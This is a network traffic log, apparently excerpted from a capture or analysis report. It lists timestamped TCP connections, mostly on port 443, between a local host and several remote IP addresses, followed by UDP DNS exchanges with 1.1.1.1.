Mar 12, 2025 14:07:52.340110064 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:52.340153933 CET	443	49725	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:52.340323925 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:52.340528011 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:52.340544939 CET	443	49725	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:52.380338907 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:54.399342060 CET	443	49725	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:54.406771898 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.406791925 CET	443	49725	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:54.408005953 CET	443	49725	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:54.408108950 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.408977032 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.409070015 CET	443	49725	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:54.409100056 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:54.409240961 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.409250021 CET	443	49725	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:54.423615932 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:54.423820972 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:54.423881054 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:54.425977945 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:54.426017046 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:54.426225901 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:54.426238060 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:54.426338911 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:54.426345110 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:54.476989985 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.822041988 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:54.822418928 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:54.822447062 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:54.914767981 CET	443	49725	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:54.915069103 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.915122986 CET	443	49725	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:54.915179014 CET	49725	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.915904045 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.915937901 CET	443	49726	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:54.916002989 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.916378975 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:54.916392088 CET	443	49726	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:55.011276007 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:55.051951885 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:55.142316103 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:55.144619942 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:55.144649029 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:55.154304981 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:55.154333115 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:55.154388905 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:55.154834032 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:55.154844999 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:55.628993988 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:55.676951885 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:55.758198977 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:07:55.764688969 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:55.764769077 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:55.810595989 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:07:56.239409924 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:56.240914106 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:56.241000891 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:56.241158962 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:56.241178989 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:56.241213083 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:56.241225004 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:56.848767996 CET	443	49726	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:56.849143028 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:56.849168062 CET	443	49726	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:56.850204945 CET	443	49726	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:56.850289106 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:56.850657940 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:56.850722075 CET	443	49726	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:56.850811958 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:56.850820065 CET	443	49726	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:56.900028944 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:57.463129044 CET	443	49726	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:57.463423967 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:57.463470936 CET	443	49726	35.190.80.1	192.168.2.6
Mar 12, 2025 14:07:57.463526964 CET	49726	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:07:58.099422932 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:58.147146940 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:58.226489067 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:58.233397961 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:58.233432055 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:58.277715921 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:58.631520987 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:58.631623983 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:58.632294893 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:58.632303953 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:58.632440090 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:58.632443905 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:58.632570982 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:58.632574081 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:58.713711977 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:58.714612007 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:07:58.714634895 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:07:59.021804094 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:59.022296906 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:59.022321939 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:59.115787029 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:59.161817074 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:59.251923084 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:59.254992008 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:59.255021095 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:59.654237032 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:59.708728075 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:59.784344912 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:07:59.833194971 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:07:59.975104094 CET	49685	80	192.168.2.6	142.250.185.195
Mar 12, 2025 14:07:59.980072975 CET	80	49685	142.250.185.195	192.168.2.6
Mar 12, 2025 14:07:59.980168104 CET	49685	80	192.168.2.6	142.250.185.195
Mar 12, 2025 14:08:01.117750883 CET	49686	443	192.168.2.6	2.23.227.215
Mar 12, 2025 14:08:13.418370962 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:13.418404102 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:13.418417931 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:13.418425083 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:13.875564098 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:13.926445961 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:13.969769955 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:13.971604109 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:13.971647024 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:13.971827984 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:13.971837044 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:13.971877098 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:13.971884012 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:15.595341921 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:15.650415897 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:15.799530983 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:15.799554110 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:15.799566031 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:15.799572945 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:16.208199024 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:16.209076881 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:16.209103107 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:20.445112944 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:20.445240974 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:20.445323944 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:20.445688009 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:20.445743084 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:20.819376945 CET	50116	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:08:20.824018002 CET	53	50116	1.1.1.1	192.168.2.6
Mar 12, 2025 14:08:20.824094057 CET	50116	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:08:20.828814030 CET	53	50116	1.1.1.1	192.168.2.6
Mar 12, 2025 14:08:21.277991056 CET	50116	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:08:21.282886028 CET	53	50116	1.1.1.1	192.168.2.6
Mar 12, 2025 14:08:21.282939911 CET	50116	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:08:22.679436922 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:22.679785013 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:22.679828882 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:22.680989027 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:22.681047916 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:22.682322979 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:22.682394028 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:22.724163055 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:22.724232912 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:22.771044970 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:26.742050886 CET	443	49681	2.23.227.215	192.168.2.6
Mar 12, 2025 14:08:26.742213964 CET	443	49681	2.23.227.215	192.168.2.6
Mar 12, 2025 14:08:26.742376089 CET	49681	443	192.168.2.6	2.23.227.215
Mar 12, 2025 14:08:28.650727987 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:28.650815964 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:28.650859118 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:28.650873899 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:29.110564947 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:29.111987114 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:29.112078905 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:29.112183094 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:29.112221956 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:29.112261057 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:29.112273932 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:29.197247982 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:29.240536928 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:31.057368994 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:31.061197042 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:31.061220884 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:31.061229944 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:31.061233997 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:31.102227926 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:31.483521938 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:31.536200047 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:31.630469084 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:31.631422043 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:08:31.631444931 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:08:32.295485020 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:32.295589924 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:32.295658112 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:33.583240032 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:08:33.583265066 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:08:34.180155993 CET	49732	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:08:34.180188894 CET	443	49732	142.250.186.100	192.168.2.6
Mar 12, 2025 14:08:40.771644115 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:08:40.771677971 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:08:44.793272972 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:08:44.793298006 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:08:46.390245914 CET	49682	443	192.168.2.6	20.190.160.3
Mar 12, 2025 14:08:46.393867970 CET	49684	80	192.168.2.6	184.30.131.245
Mar 12, 2025 14:08:46.395164013 CET	443	49682	20.190.160.3	192.168.2.6
Mar 12, 2025 14:08:46.395237923 CET	49682	443	192.168.2.6	20.190.160.3
Mar 12, 2025 14:08:46.400358915 CET	80	49684	184.30.131.245	192.168.2.6
Mar 12, 2025 14:08:46.400427103 CET	49684	80	192.168.2.6	184.30.131.245
Mar 12, 2025 14:08:52.334913969 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:52.334964037 CET	443	50128	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:52.335061073 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:52.335472107 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:52.335488081 CET	443	50128	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:54.394439936 CET	443	50128	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:54.394845963 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.394869089 CET	443	50128	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:54.395852089 CET	443	50128	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:54.395926952 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.396323919 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.396372080 CET	443	50128	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:54.396536112 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.396543026 CET	443	50128	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:54.443604946 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.916691065 CET	443	50128	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:54.917063951 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.917108059 CET	443	50128	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:54.917165041 CET	50128	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.917751074 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.917865992 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:54.917964935 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.918297052 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:54.918334961 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:56.859569073 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:56.860197067 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:56.860276937 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:56.861342907 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:56.861433983 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:56.862154007 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:56.862226963 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:56.862322092 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:56.862346888 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:56.862385988 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:56.908325911 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:56.927426100 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:57.484507084 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:57.484883070 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:08:57.484947920 CET	443	50129	35.190.80.1	192.168.2.6
Mar 12, 2025 14:08:57.485011101 CET	50129	443	192.168.2.6	35.190.80.1
Mar 12, 2025 14:09:16.068036079 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:09:16.068061113 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:09:16.645998955 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:09:16.646024942 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:09:18.583300114 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:09:18.583317995 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:09:20.506084919 CET	50136	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:09:20.506146908 CET	443	50136	142.250.186.100	192.168.2.6
Mar 12, 2025 14:09:20.506246090 CET	50136	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:09:20.506570101 CET	50136	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:09:20.506587982 CET	443	50136	142.250.186.100	192.168.2.6
Mar 12, 2025 14:09:22.598124027 CET	443	50136	142.250.186.100	192.168.2.6
Mar 12, 2025 14:09:22.598871946 CET	50136	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:09:22.598902941 CET	443	50136	142.250.186.100	192.168.2.6
Mar 12, 2025 14:09:22.599276066 CET	443	50136	142.250.186.100	192.168.2.6
Mar 12, 2025 14:09:22.599695921 CET	50136	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:09:22.599761963 CET	443	50136	142.250.186.100	192.168.2.6
Mar 12, 2025 14:09:22.646187067 CET	50136	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:09:25.787168980 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:09:25.787195921 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:09:29.802287102 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:09:29.802324057 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:09:32.414834976 CET	443	50136	142.250.186.100	192.168.2.6
Mar 12, 2025 14:09:32.414904118 CET	443	50136	142.250.186.100	192.168.2.6
Mar 12, 2025 14:09:32.415138960 CET	50136	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:09:34.179573059 CET	50136	443	192.168.2.6	142.250.186.100
Mar 12, 2025 14:09:34.179609060 CET	443	50136	142.250.186.100	192.168.2.6
Mar 12, 2025 14:09:48.755033970 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:09:48.755275965 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:09:48.755403996 CET	49711	443	192.168.2.6	104.17.25.14
Mar 12, 2025 14:09:48.755424976 CET	443	49711	104.17.25.14	192.168.2.6
Mar 12, 2025 14:09:55.637825966 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:09:55.637970924 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:09:55.638155937 CET	49724	443	192.168.2.6	172.67.74.152
Mar 12, 2025 14:09:55.638175011 CET	443	49724	172.67.74.152	192.168.2.6
Mar 12, 2025 14:09:59.711608887 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:09:59.711674929 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:09:59.711884022 CET	49727	443	192.168.2.6	104.26.13.205
Mar 12, 2025 14:09:59.711906910 CET	443	49727	104.26.13.205	192.168.2.6
Mar 12, 2025 14:10:01.068553925 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:10:01.068589926 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:10:01.646590948 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:10:01.646610022 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:10:30.857295990 CET	49679	443	192.168.2.6	20.191.45.158
Mar 12, 2025 14:10:31.057554007 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:10:31.057739973 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:10:31.057951927 CET	49721	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:10:31.057971001 CET	443	49721	172.67.143.150	192.168.2.6
Mar 12, 2025 14:10:31.821542978 CET	443	49723	172.67.143.150	192.168.2.6
Mar 12, 2025 14:10:31.821633101 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:10:31.821798086 CET	49723	443	192.168.2.6	172.67.143.150
Mar 12, 2025 14:10:31.821815968 CET	443	49723	172.67.143.150	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 12, 2025 14:07:15.821520090 CET	53	53927	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:15.990374088 CET	53	56737	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:20.381078959 CET	64483	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:20.381268978 CET	62843	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:20.387742043 CET	53	64483	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:20.388099909 CET	53	62843	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:21.661521912 CET	50848	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:21.661700964 CET	58473	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:21.668149948 CET	53	50848	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:21.668356895 CET	53	58473	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:39.426690102 CET	51451	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:39.426928043 CET	49782	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:39.443079948 CET	53	49782	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:39.479350090 CET	53	51451	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:39.494618893 CET	53	52236	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:42.335966110 CET	49788	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:42.336158037 CET	55450	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:42.350850105 CET	53	49788	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:42.352061033 CET	53	55450	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:48.028889894 CET	54568	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:48.029067993 CET	63386	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:48.032619953 CET	56129	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:48.032805920 CET	65283	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:48.035511971 CET	53	54568	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:48.036269903 CET	53	63386	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:48.057287931 CET	53	65283	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:48.062647104 CET	53	56129	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:50.860337973 CET	53865	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:50.860761881 CET	49777	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:50.866975069 CET	53	53865	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:50.868067980 CET	53	49777	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:52.331907034 CET	59500	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:52.332065105 CET	62901	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:52.339517117 CET	53	59500	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:52.339622974 CET	53	62901	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:55.147178888 CET	55538	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:55.147412062 CET	57550	53	192.168.2.6	1.1.1.1
Mar 12, 2025 14:07:55.153774977 CET	53	55538	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:55.153902054 CET	53	57550	1.1.1.1	192.168.2.6
Mar 12, 2025 14:07:56.411565065 CET	53	57808	1.1.1.1	192.168.2.6
Mar 12, 2025 14:08:14.111619949 CET	138	138	192.168.2.6	192.168.2.255
Mar 12, 2025 14:08:15.217006922 CET	53	56149	1.1.1.1	192.168.2.6
Mar 12, 2025 14:08:15.803313971 CET	53	61347	1.1.1.1	192.168.2.6
Mar 12, 2025 14:08:20.818941116 CET	53	62846	1.1.1.1	192.168.2.6
Mar 12, 2025 14:08:20.866355896 CET	53	51349	1.1.1.1	192.168.2.6
Mar 12, 2025 14:08:34.188815117 CET	53	53642	1.1.1.1	192.168.2.6
Mar 12, 2025 14:08:38.264600039 CET	53	54048	1.1.1.1	192.168.2.6
Mar 12, 2025 14:09:08.951770067 CET	53	50689	1.1.1.1	192.168.2.6
Mar 12, 2025 14:09:20.997209072 CET	53	54179	1.1.1.1	192.168.2.6
Mar 12, 2025 14:09:24.629842997 CET	53	62465	1.1.1.1	192.168.2.6
Mar 12, 2025 14:09:38.191014051 CET	53	62694	1.1.1.1	192.168.2.6
Mar 12, 2025 14:09:55.594326973 CET	53	51749	1.1.1.1	192.168.2.6
